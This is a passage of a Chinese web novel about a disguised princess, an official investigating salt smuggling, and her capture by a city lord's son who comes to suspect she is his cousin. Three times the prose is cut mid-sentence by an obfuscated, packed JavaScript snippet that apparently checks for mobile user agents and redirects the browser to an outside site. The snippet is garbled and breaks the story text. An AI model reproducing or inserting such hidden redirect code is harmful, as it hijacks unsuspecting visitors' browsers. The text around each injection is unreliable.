“先观望,看他二人到底做什么,若真与粗盐之事有关,你便跟紧点,看他们将那些粗盐到底运至何处。” “是,大人。” 就在这时楼下来人通报,说一名极其俊俏的少年带着二女一男来此,在楼下候着少傅大人,说道俊俏少年娄卿旻便猜出是朝颜女扮男装。他吩咐了几句,暮商暮均二人便大步出门迎他们进了酒肆。 说来也巧,羽堇半路遇到出任务的暮商,便得知了少傅所居之地,朝颜一思量便带他们一起主动上门拜访。 进门后,暮商带着朝颜一人上了二楼,其余人在楼下静待。 身后的暮均仍站在原地,顺着帘布下露出的半截身姿望去。猜出朝颜的身份,便十分认真地观察着这位赫赫有名的公主,无双美貌,高挑身姿,女扮男装束起乌发也像个潇洒的富贵公子。 瞧瞧,连上台阶的姿势都那样轻巧灵动,不失端庄,让人移不开眼。 这道炙热目光伴随着朝颜上到台阶拐角处才消失,她对此不甚在意,直接忽视。此刻正耐心地观察着眼前陌生的酒肆,从前她不曾进过几家店,更不知娄卿旻还有此等好地方,外面看着不起眼,内里别有洞天,藏有暗阁。 她不是小肚鸡肠之人,既然决定来见他,便已将二人先前夜里闹出的不愉快抛之脑后,毕竟,此次能从姜宣同那里全身而退也有娄卿旻一半功劳。 暮商将她带到门前便退下了。 她刚踏进门边,那道暗灰色身影便撞入眼底,周围寂静如水,她也将脚步放慢,迈着碎步前进。 晚风入幕,烛火微光,暗黄氛围中带着点朦胧模糊,徒增了几分旎旖。朝颜愈来愈近,才借着微光看到娄卿旻。 一袭灰色便衣长袍跪坐在案边,案上的蜡烛将他隐匿在黑暗中那张脸照了个大概,眉骨明晰,双眼深邃盯着手中竹简,红唇轻合着。 细细看去,这张平日冷峻的面容,在模糊微光的衬托下,竟有几分别样的秀美。 见此情此景,朝颜心情都好了几分。她缓缓勾唇,语气极其认真地为自己邀功:“此次我可是帮了少傅大人的忙,不知大人要如何报答?” 话毕,娄卿旻抬眸,如潭水般静默的黑瞳对上朝颜居高临下半阖的眼睛,灵动狡黠的眸子像是忽落深潭的一片桃花,打破原本的宁静,潭中水泛起层层波澜。 娄卿旻愣了一瞬。 不知怎地,朝颜初次大方直视他,他竟觉得心弦被拨动了一下,上下起伏着。 怕冒犯眼前人,朝颜率先移开了目光看向他手中竹简,想到他给她的那封书信,隽秀有力,十分工整。 “大人的字迹很是好看。”她主动打破这窘迫氛围。 娄卿旻随之接话:“谢殿下夸赞,都是先生教导的好。” 他还有先生?从未听说过。 朝颜脑中抛出疑问,而后又自我解释着,或许他如此聪颖不是因为天生,也是因为师承一处,毕竟先前从未了解过他。 朝颜思虑之时,整个室内都安静下来。她忽然听到男人有几分严肃的话语:“公主想叫臣如何报答?” 本以为话题转移了,谁知他又提起。就在朝颜不知如何接话时,门外一道声音打破这宁静。 “不如我家大人以身相许可好?” 暮均不知何时上的楼,站在外面摆出八卦人的姿态偷偷听了一会儿,从公主一言一行中便察觉到朝颜是脾性好不爱计较的人,所以故意在门口喊了这么一句。 谁知室内的娄卿旻坐不住了,声音里有几分隐忍的愤怒与警告:“暮均!” “大人息怒,暮均应是无心之失。但日后也要记得万不可再说此等话语调笑我与大人,且不说我眼下已非自由身,大人的君子清白是最至清至圣、不容冒犯的。” 朝颜惯会顺着台阶下,转头看向门外替暮均解释一番,顺便也将自己择了出去。更何况,她还记得娄卿旻所持剑上那串丝线编织的剑穗呢…… 娄卿旻好似还未消气,见朝颜替暮均开脱,冷不丁道一句:“话如此多,不若我这个位置给你坐可好?” 暮均听出他语气中的寒意,脖颈处冒起一层鸡皮疙瘩,“不用不用!大人公主你们聊,属下不打扰了,这就去监视姜宣同。”说完便飞似得逃离二楼。 听到熟悉的名字,朝颜一时还松了口气。 她连夜带人来找娄卿旻,也是觉得姜宣同不会善罢甘休,或许表面佯装要与她合作,背地里已经谋划如何抓他们了,毕竟一个男子被人在自家婚宴上劫走了私藏小金库,传出去是会丢尽脸面的。 想着想着朝颜便将从姜宣同那里得来的木匣拿给娄卿旻保管。 好在今夜寻到了他的住所,若不然这金银珠宝怕是会被姜宣同夺回,而后她与娄卿旻商议在此暂避几日。 太子失联,如今在她这里娄卿旻便是座可以暂时依靠的山,不靠白不靠。恰好她上楼时看到娄卿旻房间隔壁还余下两间空房,与他商议过后,她们一行人就这样安全宿在酒肆的二层,睡了个安稳觉。 果不出所料,娄卿旻亲卫翌日卯时来报,说城东姜宣同一大早便差人在东城西城好几处客栈撞门寻人,寻朝颜连瑕羽堇三人,连面部特征都找人画了出来。好在娄卿旻的酒肆较为隐蔽,在外人看来平平无奇,所以也找不到此处来。 这下她四人是彻底不能出酒肆了,有需要的便派娄卿旻亲卫与槐夏出门采购。 姜府侍卫们锲而不舍地在外城苦苦寻了一日,没有半点消息,苦哈哈回府上挨了姜宣同一顿臭骂。 朝颜二人仿佛从未出现过一般,就连连瑕婆家也不知连瑕被掉包一事,结果便是先前与姜宣同商议好的银钱没了,不仅如此连瑕婆婆还被姜宣同以诱骗罪关入大牢,连瑕婆婆见状又哭又喊,对连瑕恨之入骨,被抓的时候还在不停咒骂,持续了整条街,所骂言语恶毒至极,不堪入耳。 她儿李轩带着新妇早就躲到别处逍遥快活,姜宣同知道此事后也不放过,抓了李轩打他数十大板,又把皮开肉绽的人扔回他与新妇藏身之处,没收了银钱,那新妇见没了钱财更是不愿伺候,扔下李轩同别人跑了,剩他一人奄奄一息趴在家里。 此事传到朝颜这边,几人正在娄卿旻酒肆怡然自得地用着晚膳,大鱼大肉好不快活。 众人听完面色释然,也算是连瑕婆家二人自作孽得来的报应。好在连瑕已经离开他们,不然迟早要被他二人搞个半死不活。 朝颜便顺口将李轩在外养人一事与她说过之后,连瑕痛哭许久。 夫妻一场,原本还心疼李轩独自一人在家养伤万一出什么差错,想着要去救济他。如今才知道自己识人不清,已经脱离虎穴便不能再担心小虎是否会饿死了,从此李轩再如何苦、如何难与她也无丝毫干系。 连瑕知恩图报,是个孤女,无处可去,便立誓跟着朝颜一等人,愿为朝颜当牛做马。朝颜思索着日后自己去和亲,槐夏一人免不得孤单,便收下连瑕,给她一个容身之处。 在朝颜授意下,槐夏夜里与连瑕一齐休息时,将众人的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405599|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份全部告知于她。对方听完大吃一惊,想着公主是身份尊贵之人,更下决心要好好服侍。 槐夏见她想替朝颜洗脚更衣,连忙拦住她,解释:“殿下不是讲究人,出门在外也不会计较宫里那些琐事规矩,只当大家是友人,就连用膳都是平起平坐,基本没有主仆之分。” 其实宫里也是可以同吃同睡,槐夏没继续说,因为连瑕接过话茬:“从前听人们说,都城皇宫的贵人都特别讲究礼节,食不过三,举手投足都是贵气庄重,公主如此特别,我确实很惊讶。” “公主对礼仪体统、繁文缛节之事不甚在意,除去祭祀狩猎等大场面,私下没那么严格。” 话毕,槐夏又补充道:“但隔壁那位大人可不一样,整个华纪他最在乎礼节规矩与家国荣辱,赏罚分明,极其严谨,日后若与他碰面万不可不敬,要行大礼,弯腰垂首,不可与之直视。” “像这样。”说罢,槐夏特意抬手弯腰垂首,做了一套揖礼,又缓缓收回手臂。而后又教给她何为时揖、何为天揖,在何种场景行何礼。 连瑕未曾做过那些动作,起初动了几下十分粗糙,反应又慢,模样有些好玩,但最后也学得八九不离十,如槐夏一般机灵了。 娄卿旻虽说与众人住在同一屋檐下,但作息不同,一连几日大家都未曾见过他的面目,除去朝颜那夜与他说过话之后,也没再打搅,故而连瑕槐夏都不曾遇见,也没行过礼。 偶尔见到暮商为他送吃食,毫无半点荤腥,暮均却说这是他的习惯,朝颜虽然听说过,但真正见了还是目瞪口呆,大惊失色。 半点肉都不食,也难怪她觉得娄卿旻消瘦了。 但是若口腹之欲都没有,人活着还会有什么乐趣吗? * 运送粗盐之事一月一次,每次送至华纪后便开始新一月的制盐进程,暮均与暮商二人分别盯着盐场与姜宣同的府邸。 王堃连着几日让人在夜里偷偷窃取每亩田所晒盐的五分之一装入麻袋,看似不起眼,但共十亩盐田,每十亩各取一点便能装满袋。而后王堃便派人装作送粮食,将粗盐送至姜宣同酒肆,美其名曰记账为酿酒谷物。 长久以往自是无人怀疑,毕竟酒肆每日都会进一批谷物。 这天夜里,暮均得出规律回来向娄卿旻禀告,“每日被窃取的粗盐已经尽数运到姜宣同的酒肆后门,以谷物为由放置后院储藏。属下观察了五日,他们并没有其他动作。” “还有便是,姜宣同还坚持不懈,四处搜寻公主几人的下落。” 或许,这也是他没动作的缘由。毕竟先前朝颜与他做了交易,如今人不翼而飞,上天遁地都查不到下落,还与粗盐之事相关,他心里自不会安宁。 娄卿旻向来沉得住气,他沉思片刻道:“不急,所谓利而诱之,乱而取之。你私下放出消息说城里来了个高价购粗盐的商贾,若他耐不住金银的蛊惑主动上钩,我们便直接将他们一举拿下交于燕国国君手上,任他说破天也无法再抵赖。” 暮均听完觉得娄卿旻想得法子有些请君入瓮的意思,张嘴就夸:“大人这一招真是高明!用小利益来诱惑他露出马脚,再趁其不备拿下!” “对付他二人的贪财脾性,再适合不过。” 哪儿知消息放出去两天,姜宣同还是一副无所谓模样,继续浪荡公子的生活,王堃貌似收手了,这两日没再往他府上送盐。 暮均和暮商倒是有点焦躁了,回来禀告娄卿旻仍没有任何进展。 彼时朝颜正在和娄卿旻商议,要如何避开姜宣同的搜寻,动身去内城见燕国国君。看出娄卿旻遇到了麻烦,她唤了声大人,推测道:“或许他是觉得我们凭空消失,故而起了疑心?” 姜宣同迟迟不降低戒备心,派人整座城里搜寻又严加看守门关,也影响了朝颜进宫的进程。 她忽然提议:“若不然我们将计就计,以我做饵,诱他上钩?” 14. 燕国之行(六) 时间转瞬即逝,已经逃出宫快月余,太子已经出事,燕国她必须要护住。若姜宣同一直不松懈,追查一日,她便一日不能进内城见燕融,一推再推于燕国很不利。 已在外城白白浪费许多时日,不能再继续躲下去。 但娄卿旻一听朝颜说以自身做诱饵,想也不想便蹙眉反驳:“此计不可行。” “姜宣同那人贪财好色,不择手段,上次你二人侥幸逃脱后他早已加强府上戒备,公主以身涉险,万一受伤,臣无法自处。” 娄卿旻知道粗盐之事不是一两日能解决的,他可以拖延时间,慢慢与之耗着。但朝颜不想再逃避,更不能一直躲在娄卿旻身后,她有更重要的事要做。 二人依旧如那日一般对坐在案边,娄卿旻说完话后便各自沉默。 半刻后,朝颜最先抬头,迎面对上娄卿旻藏着忧虑的黑瞳,语气带着一分坚定:“大人是不相信我的能力?前几日我们不也安全从他府上逃出来了么?” “那是因为有人护你。”娄卿旻抬眸反驳。 上次她能全身而退有羽堇很大的功劳,但这次不同,她需孤身一人面对,新仇旧恨加在一起,姜宣同不会善罢甘休,这也是娄卿旻实在放心不下的原因。 不论是为了保护和亲公主,还是报答她先前帮他查出粗盐之事,于情于理都不合适让她冒险。 “我信大人,也希望大人信我,我会保护好自己。” 朝颜心意已决,完全听不进娄卿旻所言,语气决绝,根本没有回头这一说。况且她才不承认没了别人保护她就只是任人宰割之人,毕竟她比别人多活了半辈子、多吃了十几年的饭,对付一个姜宣同绰绰有余。 他二人都明白这是能打破僵局的唯一办法,朝颜还在等人回复,而娄卿旻双眸半阖着,细长的两指麻木地捏着石墨在砚台上来回辗转。 见此,朝颜十分有眼色地将茶杯中几滴余水倒进砚台,男人随之研磨几下,墨成了。 娄卿旻忽的放下石墨,静静看了朝颜半刻,终于同意了她的提议。 朝颜心中一喜,准备直接出门自投罗网,起身后才发现自己这一身暗色行头不够惹人注意,随即又看向跪坐在案的男人,道:“劳烦大人让暮均协助槐夏为我找一身得体的女装。” 娄卿旻应了下来,在朝颜一只脚踏出门槛的那刻叮嘱她:“切记,合利而动,不合利而止,不要逞强也不必太胆怯,保全自身才是重中之重。” 关键时刻,亦可用她袖中藏着的那把利剑与人放手一搏。 难得娄卿旻会担心她的安危,朝颜回眸一笑,四周黯然失色,屋内好似亮堂了许多,只剩男人端坐在案前,愣神着。 朝颜直到回到自己房间还在回想着娄卿旻话中深意,手心紧握着那柄坚硬的东西给了她答案,她勾唇,眼神更加坚定。好在她之前有先见之明,让羽堇专门为她打造了一把利剑,既可以唬人又能保命。 自朝颜居于娄卿旻酒肆时,便一直穿着干练短褐以男装示人,如今突然换回女装,竟有几分别样的感觉。 这是件琥珀色绕襟直袍,其上用麻线绣了少许彩色花卉纹,朝颜穿上后,整个人都散发着典雅端庄的古韵。 临走前,朝颜在娄卿旻房门口顿足片刻,男人不知何时已经站起身了,二人相视一眼似作告别。朝颜率先移开眼,系起面纱遮住脸后便从酒肆后门出去。 白日集市各类摊贩叫卖很是热闹,阳光明媚刺眼,朝颜刚踏入里街便看到一队巡守在路上逮着一个便将人扯过来抓着脸来回搜看,好不威风。 世风日下,整条街上尽是男丁壮汉,根本没有年轻女子,有的只是零零散散年过不惑的妇人。 当今果真是男子的天下,女子全在家中相夫教子,没有半个抛头露面的。更惶恐说什么看书写字,关心政事入朝为官了。 思及此朝颜无奈地深叹一口气,盯着身上扎眼的服饰,抚着面纱挡脸,在街上徘徊。 她如此引人注目,一出现起便让守卫们全部注意到,几人浑浑噩噩夜以继日在街上搜寻了许多天,终于发现一个可疑人物,大喊一声便急冲冲追上去。 太容易被抓到显得很假,朝颜开始狂奔,朝着通往内城的方向跑,风一般快得让人抓不到。但守卫都是年轻男子,追起人来自然也是不落下风。 好在衣裙不受限,朝颜一直跑着,速度很快,不料一阵风袭过将那层薄纱吹落于地,她顾不上回头捡,硬着头皮一直向前,甩掉守卫后便停在一处人来人往的繁华客舍前歇息,刚喘了口气,抬眼便见到一个“熟人”。 姜宣同看着缣帛上日思夜想恨得牙痒痒的面貌就这样出现在眼前,惊得眼头一跳,当场挥手叫人,笑得狂妄:“抓住她,本公子重重有赏!” 乌央乌央一群侍卫冲上前将朝颜围了个满贯,朝颜摆出一副认命的手足无措,被守卫抓了起来。 …… 姜宣同府邸,朝颜被抓到二人当初差点成亲的房间对峙着。 “你还真是让本公子好找啊?”男子盯着眼前美人,缓缓勾起唇,模样很是浪荡轻佻。 朝颜被麻绳束缚着手腕,故意别开眼不看他。 “这几日躲到哪儿去了?” 他又问,嘲笑着:“怎么不见保护你的那个冷面阎王啊?莫不是一听我要抓人,便撇下你逃了吧?” 朝颜不想回答这些莫名其妙的问题,盯着眼前人直言道:“姜宣同,我那日在你府上见你还算有人性,本想与你痛痛快快做桩生意,你为何突然变卦?派人四处抓我,你是不准备与我合作赚银子了么?” 谁知姜宣同哈哈大笑几声,眼里笑出泪花,如同听到了天大的笑话,看朝颜的眼神也像在看一个跳梁小丑,“本公子哪里看得上你那三瓜俩枣?赚钱的生意我自有人脉,至于你——” “便留在我府上伺候吧,毕竟被我掀过盖头也算是我的人了,今夜入洞房也为时不晚!”说罢眼神将朝颜从头到脚扫视了一遍,作出一副很是满意的表情。 姜宣同这话倒是不假,但是那眼神太过赤丨裸,引人厌烦。 朝颜怎会是任人摆布之人? 她想起眼前人城主之子的身份与她在门前看到的那几个字,转移了话题:“我听闻姜公子府门前牌匾写着那四个字,是你父亲亲自提名、日夜监督木匠所造的,想必是对你寄予了厚望吧?你如此纨绔不堪,不怕寒了他老人家的心?” “与你有何干系?”姜宣同不喜欢别人拿父亲压他,故而脸色铁青,语气扬了几分。 但女子忽然提到府前门匾,姜宣同便想起自己那位远在百里外的父亲大人,心中不免有些忌惮。 不过只片刻他便从眼前女子的圈套中脱离,反而嘲笑朝颜:“你一个弱女子,估摸着书都没读过,竟也识得那几个字?不过本公子再如何卑劣纨绔,也比你一个被绑起来的逃犯强。” “话不要说得太满。” “男子无非就是力气比女子大了些,更何况你又识得几个字?你如此模样,定是不知‘博文约礼’是广求学问,恪守礼法的意思。”朝颜又将话题转了回来,“就凭你强娶良家女子到你府上这一件事,便知你不合礼法!” 姜宣同见朝颜所言振振有词,不禁投来几分赞赏的目光,“我倒是小看了你。” “礼法有何用?遵守它是能赚银子?还是能让我快活?显然都不能!但我想说,我没有强娶,那连瑕是她婆家抵给我的,拿了我的银子不交人,我把那婆子关进大牢也是理所应当的。至于你,你是自己送上门的,何来强抢?” “再者说了,尔等平民女子乃是最下等之人,就算我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405600|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强要又怎样?我父亲乃燕国建国时的大功臣,我姑母又是大国之后,我不贪权只享乐,没有妨碍任何人。娶她们来我府上也保她们衣吃无忧荣华富贵,她们应该感激我才对,至于礼法,更是无用!” “美人,你要是乖乖跟了本公子,你身上的粗衣麻布也不必再穿,我会为你量身定制蚕丝衣,还送你平民难得一见的玉组佩,保管你带出去风光无限,何乐而不为呢?” 丝衣,玉佩确实是贵重物品,但朝颜自小未曾缺过,便也不把姜宣同的话放在心上。又道:“平民也有自己选择的权利,连瑕是被她婆家骗来的,不是自愿你便是强抢,至于我……” 朝颜朝他抬了抬下颌示意人过来,姜宣同有过先前那一出,极其谨慎,半晌没动静。左看右看见朝颜双手被绳子绑着,知晓她不能做出威胁他的事才慢慢向前移了几步,停在她面前。 “不瞒你说,我是华纪国的公主,来你燕国也是面见国君商议家国大事。”朝颜觉得迟早要暴露身份,还不如自己提前说出来,以便震慑姜宣同。 话毕姜宣同确实愣了一下,似乎在思考华纪是否有朝颜这般年龄的嫡公主,而后自我否定一笑,朝她道:“唬谁呢?” “我还城主之子呢。” 二人说得皆是实话,姜宣同见识浅薄便只能自欺欺人。他只觉得朝颜是个胡言乱语的小女子,便半点不信她的话。外面传来一阵急促的敲门声,姜宣同便将人留在房里出去跟下属谈话。 他们没走远,就在窗棂旁站着,两道人影印在淡黄窗纸上。朝颜双脚没被束缚,便偷偷移到窗口听二人谈话。 “普桑国还未来人?” 仆人解释:“说是这个月晚几天再来。” “再晚几天我都该喝西北风了,你让王堃再催催那人,快些将这桩生意的定金先付了,我就帮他留下,如若不然,我就卖给别人了。” 姜宣同满不在乎说完便扭头离开。他这几日听到小道消息说有外来商贾高价购盐,又有朝颜在一旁等着买盐,突如其来的双喜临门,他根本不愁卖。 他又进了门,刚想让朝颜将自己的金银交出,不料还未张嘴,便听到朝颜有些震惊地问他:“你竟然私自与普桑做生意?” “难道你不知燕国与华纪所签的同盟协议?不知大国间便是靠着这些所谓不起眼的物什勉强维系平和的么?若普桑国人买了盐偷偷做出不利燕国之事,你会同时连累两国!届时不论是你姜府还是整个燕国,都会被踏为平地!” 就像普桑用粮食交换她和亲之事一般。 华纪与燕国毗邻盐湖,属产盐大国,别国没有盐湖资源亦不知如何制盐,华纪便靠着盐量控制着他们,对其抬高售价控制用量来丰盈本国国库,若非如此,也无法发展为中原大国。 “哪里会那样夸张?你个乡下来的屠夫之女懂什么叫国家大事么?只会在这里大呼小叫。” 朝颜听完他说的话,秀眉皱在一起,心道这人真是奇怪,分明自己做了错事,硬要扯到男女身上,实在不可理喻。 随即冷笑一声,道:“你也不必一直拿男子女子、贵族平民说事,若真有事,大家只会同仇敌忾一致对外,不分你我。” “还有,姜宣同,你是男子不错,但你却私自贩盐给敌国,与你对比,我这个你口中的、乡下来的、女子,并未做出任何不利燕国之事,请你日后莫要再说方才那些话来羞辱我。” 她一字一句,清清楚楚说完,自顾自地坐到榻上,显然被姜宣同所做所言气得不轻,她甚至开始怀疑,粗盐之事是否也与后期燕国覆灭有关。 姜宣同见朝颜如此严肃撇开关系,一时被吓到,神情紧张又恍惚,开始思考她所言是否属实。 但他从来不知小小的盐居然严重到能引发两国对立,甚至威胁国人性命。 15. 燕国之行(七) 战场上有将军以身护家国,朝堂内有百官用文治万民。 与他们相比姜宣同自知自己是个受人供养的富家公子,没吃过苦受过难。 他是商人,只在乎自己能不能赚到银钱,没有心思更没有头脑去想军政,原本对家国大事视若无睹,但如今却被朝颜这番话弄得心中惴惴不安,他只想赚些银钱逍遥快活而已,不想被人用什么通敌叛国的罪名抓住关入大牢。 他神色严肃地睨着朝颜,将遇见她那日起,她的所言所做之事全部串联到一块,方才觉得眼前人身份不如她所那样普通平常。 他后知后觉,一个普通乡下屠夫家真能养出如此落落大方、满口家国道义的女子? 忽然想起朝颜之前自爆身份说得那句话,姜宣同眼睛滴溜地转了几下,撩起袖袍往榻上一坐贴近身侧人,质问:“先前你说你是华纪国公主?敢问你是哪位公主?” “不是不信?”朝颜瞥了他一眼反问道,而后不动声色地向旁边移了几分。 “本公子现在想信了,不行么?” 话毕,姜宣同大气不敢出,静静呆坐在原处等人表明身份,但女子依旧一言不发,赌气似的。气氛窘迫到极点,进退两难,姜宣同只觉得眼前人着实有些犟,跟他那个城主爹有得一比。 弄不清楚身份他也不敢轻举妄动,害怕真伤到人做了坏事,阎王爷都救不了他。 女子仍不说话,他便主动开口:“仔细想来,与你打交道多日竟然不曾得知你姓甚名谁,实在是我的失责。你既然说你是公主,那我来猜猜。” “你……莫不是朝颜?”他大胆猜测,神情诧异。 话毕,得到女子一个轻飘飘的抬眸,姜宣同立刻摆出肃然起敬的模样,连忙后退几步保持距离,身上的浪荡轻浮全然不见,摆出一副正人君子姿态,与先前天差地别。 他很是惊讶,对朝颜的身份半信半疑。盯着眼前女子的面庞左看右看,一直与她吵嘴,怎从未觉得她如此眼熟? 竟让他想到已经逝去许久的姑母。 一想到记忆中那位美艳如雪般无暇的女子已不在人世,他心里便有些难受。 女子名为姜妤泉,是他的姑母,父亲的亲妹,更是华纪国现任国君明媒正娶的正妻王后。早在及笄之年便作出名扬天下的诗词与栩栩如生的名画,传遍中原,容颜学识在当年都是一等一的好,乃泉城上下难得一遇的才女,更是集万人宠爱为一身的掌上明珠。 然而名声大躁的结果便是,有人慕名而来求娶她为妻。 起初众人并不同意朝穆求娶,觉得他身份太过特殊,或许只是一时兴起才会说出弱水三千只取一瓢的话,未来定会姬妾成群,若真嫁了,姜妤泉后半生免不得在宫里勾心斗角。 亦或者过了女人最好的那几年,容色褪去被无情抛弃,毕竟古往今来反面例子比比皆是,无人愿意让她接受这场豪赌,因为人们不愿看到一位名动天下的才女落魄为冷宫弃妇。 但架不住那男人嘴甜会哄人,财力势力大过天,一来二去,软硬兼施,二人便迅速坠入爱河,众人不同意也没辙了,索性那朝穆是个有人性的,待姑母不错,给了她享不尽的荣华富贵权势地位和无上宠爱,使得姑母嫁过去一年便诞下嫡子朝饶,被国君封为太子,度过平安快乐的五年。 直到后来二人心血来潮,商议着要生个公主凑一对‘好’字,二人便整日腻在一起,缘分悄然而至。 太医查过后判定了姜妤泉腹中孩子为女,二人喜笑颜开,国君更是对姜妤泉关怀备至无尽宠爱。姜妤泉是个好动的,某日清晨撇下宫人们独自到园中闲逛,进门便见到一片盛景。前夜下了一场大雨,她本想着呼吸新鲜空气,谁知居然能见到盛放满园的艳丽花朵。 她在书中见过此花,灵机一动,便向朝穆提议公主的名字可以定为“朝颜”二字。 朝颜花状似喇叭,历经风雨酷暑依旧放肆生长,依附着藤蔓向上爬,不畏艰难勇气可嘉。姜妤泉又想到五年前生朝饶时,他病过几次,便觉得自己诞下的公主身体定会虚弱,便想着为公主取一个寓意好的名字,能安康长大,乐观向阳,朝穆爱屋及乌,对姜妤泉的主意很赞同。 消息传回泉城,众人皆是发自内心地为王与王后高兴。本以为公主出生,一家四口就这样幸福下去,不料华纪国竟传来王后因难产而亡诞下公主的消息,一切的一切尽数崩塌。 依稀记得父亲接到来信后悲伤过度连着哭了月余,不吃不喝日渐消瘦,直到听说华纪国君要娶新后才逐渐缓过神,打起精神要为姜妤泉要个说法。 父亲说,他一早便觉得朝穆不是什么好人,结果居然真的验证了他的猜想。发妻去世不过一月,就张罗着要冲喜,怎么对得起她为他生了一双儿女。 而后父亲独自带着朝穆婚前签下的婚书奔赴华纪向国君讨公道,许是良心使然,最终换来朝穆两年不娶新妇的承诺。父亲见过朝颜一面,彼时她正在襁褓中被奶妈抱着喂奶,父亲本不愿见这个害了他亲妹的“罪魁祸首”,但血脉至亲浓于水,怎能真的坐视不理? 父亲与他说过,初次抱朝颜之时,她不仅不哭,还笑。 但他无意见到朝颜身上有几块淤青,虽不明显,但他还是知道众人都与他一样,将姜妤泉之死怪在一个小娃娃身上。他不忍心自己妹妹亲生的女儿被如此虐待,本想接朝颜回泉城,谁知朝穆却是不同意,父亲只能作罢。 两年一过,朝穆便急冲冲立了普桑国一位女子为新后,不到一年便诞下小公主,取名为朝挽挽,听说也是受尽宠爱,可与先前朝饶的地位相提并论。 无论是太子朝饶亦或是公主朝挽挽,民间总有传言,说太子立下赫赫战功被加功爵赏,小公主每年生辰之日,国君会特意派人搜寻天下至宝,只为哄她一笑…… 唯独,元王后所生嫡公主朝颜没什么消息。 姜宣同回想他八岁那年,正是姜妤泉难产而亡前几年,他也伤心,时常出府散心,便听到爱戴她的泉城百姓想起姜妤泉难产,十个内有八九个都传言说王后诞下的公主是来讨债的,不然怎会一出世便将母亲克死,也不受父亲待见。 后来姜宣同越来越大,渐渐懂了许多事,偶尔回忆起姑母,还十分惋惜。 姜妤泉未出嫁时待他极好,自他三岁丧母,姜妤泉便开始亲自照料他,日日带他出城打猎游玩,还给他买许多父亲不让吃的东西,因此他特别喜欢姑母,从小就想着日后长大成人多多赚钱孝养姑母。哪里知晓她会因生子难产而亡,果然世事难料,应早些珍惜先前那些时日。 姑母一去,泉城与华纪来往便不似从前那样频繁。 起初经常看到自己父亲给朝饶传信,说妹妹只有他一个至亲之人,让他多多关照疼爱妹妹,朝饶也照做了,听人来报朝颜被他惯得恃宠而骄十分有个性,姜宣同还为此批判了朝颜一顿,但父亲却说,女孩子被多宠爱一点很正常,不做坏事便是好的,诸如此类重女轻男的话…… 若说眼前人真是朝颜,姜宣同也信。 至少从连瑕一事来看,她确实未做坏事还乐于助人,真正继承了姑母的一部分好性子。 后来父亲年纪大了,远在千里之外不见面关系也淡了,自朝饶立了军功被封将军以后,父亲也未曾与之有书信来往。 而他,只知姑母留下位公主,心里对她没什么怨恨也没有疼惜,与陌生人无二。 毕竟他读过话本听过民间传言,女子生子一事本就有丧失生命的危险,他不是外面那些无知百姓,自然也不会将杀人凶手、讨债丧门星一类的帽子往一个孩童身上安。 这也是他流连花丛多年,不曾让一位女子为他产子的原因。 父亲有时说他姬妾成群子嗣却空空,若某日生了变故留不下后代无法传香火。但他不以为然,孩童多吵闹?只与女人生活又逍遥又自在,何必搭上人的命给他生个他不喜的孩子呢? 至于日后香火的事,日后再说。 话又说回来,他自己也确实未曾亲眼见过这位表妹,宫里更是不曾流出公主的画像。 回忆结束,姜宣同又认真端详了朝颜几眼,不是他想生搬硬套,只是眼前人生得如此一双明眸,身姿窈窕,他见的第一面便难以忘怀,如今看来的确有几份故人之姿。 但只凭一人之言与他那久远的模糊记忆实在让人难以信服,万事万物讲求证据。 思及此姜宣同将朝颜双手松绑后把她一人留在房内,便派侍卫远出华纪国打探消息,还让信使给在百里外的泉城送了封信,父亲是姑母唯一的亲人,他必然清楚这其中联系。 此次势必要弄清她的真实身份。 若真是表妹朝颜,那他先前对她所做之事便是禽兽不如。此事被父亲知晓,他难逃家法伺候。想着想着姜宣同还感觉到后背一凉,皮有些痒。实话说来,他已经确定朝颜的身份十有八九就是真的,只差父亲一句话,他便要赶快连滚带爬去负荆请罪。 姜宣同后面一连着好几日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405601|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都未再踏足这个房间,让朝颜安生住着。 本为男子寝室,第二日便全部换新,成了女子专用。 不仅如此,姜宣同回想起先前那场乌龙便觉得根本没脸见她,十分惭愧,专门派人好吃好喝侍奉,万事周到,就想弥补之前做的错事。在收到自家父亲来信之前,他也不放朝颜离开。 朝颜不知其中秘事,只以为姜宣同是开窍了,对自己大国公主的身份有所忌惮才放自己一马,故而在府上度过了好些天看似悠闲的日子,实际她心里早就焦躁如火。 起初也想给娄卿旻报信,说姜宣同与普桑来往一事,但有人一直寸步不离看着她,她迟迟找不到行动的机会。 就这样相安无事过了三日,朝颜表面云淡风轻,整日悠哉悠哉地在府上来回打转,实则在暗地打探姜宣同住在何处,计划何事。她猜测另一边娄卿旻没有惊动姜宣同便是在闷声干大事,徐徐诱之。 二人各自守着各自的地盘都没有动作,她身为中间诱饵只能等。 